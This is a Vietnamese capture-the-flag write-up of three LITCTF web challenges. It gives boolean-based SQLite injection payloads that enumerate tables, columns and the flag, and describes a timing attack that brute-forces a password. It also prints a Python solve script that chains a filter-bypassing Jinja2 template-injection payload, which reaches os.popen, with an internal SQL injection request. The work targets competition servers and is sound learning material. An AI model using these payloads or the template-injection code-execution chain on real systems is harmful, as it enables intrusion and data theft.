1. Amy The Hedgehog
- Giao diện khi vào trang web

- Trang web cũng chả có vẹo gì ngoài một thanh input vào nhập thử vào thì luôn nhận được wrong

- Vì trong đề bài tác giả có nhắc đến trang web sử dụng sqlite3 nên đây chắc chắn là 1 bài SQLi, từ đó có hướng khai thác và tiếp theo là fuzz đến chết :))
- Sau một hồi fuzz thì mình đã nhận phản hồi có sự khác biệt với payload
' or 1=1--

- Sau đó mình thử fuzz thêm một lúc nữa thì có thể khẳng định chắc chắn rằng đây là dạng boolean based, từ đó tiến đến khai thác vào CSDL để lấy flag
- Ban đầu mình xác định số lượng table trong CSDL với payload
' or (SELECT count(tbl_name) FROM sqlite_master WHERE type='table') = 1--

- Không có thông báo lỗi trả ra chứng tỏ CSDL này có duy nhất 1 table chứa flag, càng tốt đỡ phải mò nhiều :))
- Tiếp theo cần lấy độ dài của tên table
' or (SELECT length(tbl_name) FROM sqlite_master WHERE type='table')=5--
- Sau đó brute force tên table với payload
' or (SELECT substr(tbl_name,§1§,1) FROM sqlite_master WHERE type='table')='§a§'--
- Kết quả mình thu được tên table là names, tương tự ta đi tìm tên column với các payload
- Tìm số lượng column
' or (SELECT count(name) FROM PRAGMA_TABLE_INFO('names')) = 1--
- Tìm độ dài column
' or (SELECT length(name) FROM PRAGMA_TABLE_INFO('names')) = 4--
- Tìm tên column
' or (SELECT substr(name,§1§,1) FROM PRAGMA_TABLE_INFO('names')) = '§a§'--
- Kết quả thu được tên column là name, vậy là có đủ mọi thông tin cần thiết rồi, cuối cùng brute force flag với payload
' or (SELECT substr(name,§1§,1) FROM names) = '§a§'--
- Flag: LITCTF{sldjf}
2. Secure Website
- Giao diện chall

- Bài này thì có cho source, sau khi nghiên cứu source một lúc thì mình nhận thấy đoạn code quan trọng sau đây

- Nhận thấy mỗi lần password của người dùng nhập vào sẽ được mã hóa RSA, sau đó server nhận được sẽ so sánh độ dài đầu vào có bằng với độ dài password (là 1 environ variable) xem có khớp nhau hay không, cuối cùng thì giải mã và so sánh từng kí tự một, nếu hoàn toàn trùng khớp mới trả về true
- Ban đầu thì mình đi theo hướng là sẽ nhập vào input sao cho arr.length=0 và khi đó ta sẽ bỏ qua được vòng for so sánh từng kí tự, nhưng cách này thì mắc ở chỗ làm sao để bypass qua được điều kiện dòng 24
- Sau khi đi vào bế tắc và hỏi ý kiến sếp Lil Thawng thì sếp bảo ông ngu vl cái này phải dùng timing attack :((
- Lúc này mình bắt đầu thay đổi hướng làm và thử nhập vào các độ dài input khác nhau thì nhận một phản hồi có độ trễ nhiều hơn 100ms khi thử với input có độ dài 6 kí tự

- Còn đây là 1 response bình thường với 3 kí tự

- Từ đó mình đi đến kết luận password có 6 kí tự và brute force từng kí tự một, trước khi đi vào brute force thì mình sẽ lấy list các kí tự được mã hóa RSA theo key mà đề bài cho trước

- Sau đó vì lười nên mình sử dụng burp intruder để brute force lần lượt từng kí tự

- Kết quả

- password: CxIj6p
- Flag: LITCTF{uwu_st3ph4ni3_i5_s0_0rz_0rz_0TZ}
3. Emoji
- Giao diện challenge

- Như trên hình thì sau khi click vào button sẽ hiện ra một form bao gồm 2 trường input là username và password, đọc source đoạn này thì có thấy bị lỗi SSTI ở chỗ input password và chỉ bị filter dấu .

- Sau đó thử nhập {{7*7}} để confirm lỗi và được kết quả là 49

- Sau đó tiếp tục nghiên cứu source code và thấy rằng flag được lưu trong db ở port 8080 và không thể truy cập trực tiếp đến được

- Nhận thấy chỗ này đang tồn tại lỗ hổng SQLi, chắc chắn đây là cách để lấy flag thông qua lỗi này rồi
- Ý tưởng sẽ là dựa vào lỗi SSTI ở port 8081 sử dụng payload để gửi request đến port 8080 với dữ liệu gửi lên có chứa payload khai thác SQLi để lấy flag trong database
- Script solve của thằng em Quang NC
1234567891011121314151617181920 | #!python import requests base = """{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')("python3 -c " + "\\"exec('{i}')\\"")|attr('read')()}}""" flag = "" j = 1 while True : for i in range ( 32 , 127 ): inject = """import requests; r = requests.post(r\\"http://172.24.0.8:8080/runquery\\", json={{\\"username\\": \\"flag\\' and substr(password,{j},1)=char({i});--\\",\\"password\\": \\"\\"}});print(r.text)""" . format (j = j,i = i) c = ' '.join([hex(ord(inject[i])).replace(' 0x ',' \\x') for i in range ( len (inject))]) payload = { 'username' : 'a' , 'password' : "{" + base. format (i = c) + "}" } r = requests.post( 'http://litctf.live:31781/' ,data = payload,headers = { "Content-Type" : "application/x-www-form-urlencoded" }) if "True" in r.text: flag + = chr (i) j + = 1 print (flag) break |
- Giải thích:
- Đầu tiên là vì curl không dùng được nên phải sử dụng python3 -c và viết mã để gửi request
- Sử dụng hex để bypass dấu “.” (thực ra có thể sử dụng array nhưng mà thằng em này thích chơi kiểu tay to, cách dễ quá khinh không dùng :v)
- Vì python sẽ hiểu dấu “\” đầu tiên là của hex như \x5f, nên phải sử dụng 2 dấu thành “\\”
- Kết quả

- Flag: LITCTF{flush3d_3m0ji_o.0}
Tham khảo:
- Em Quốc Anh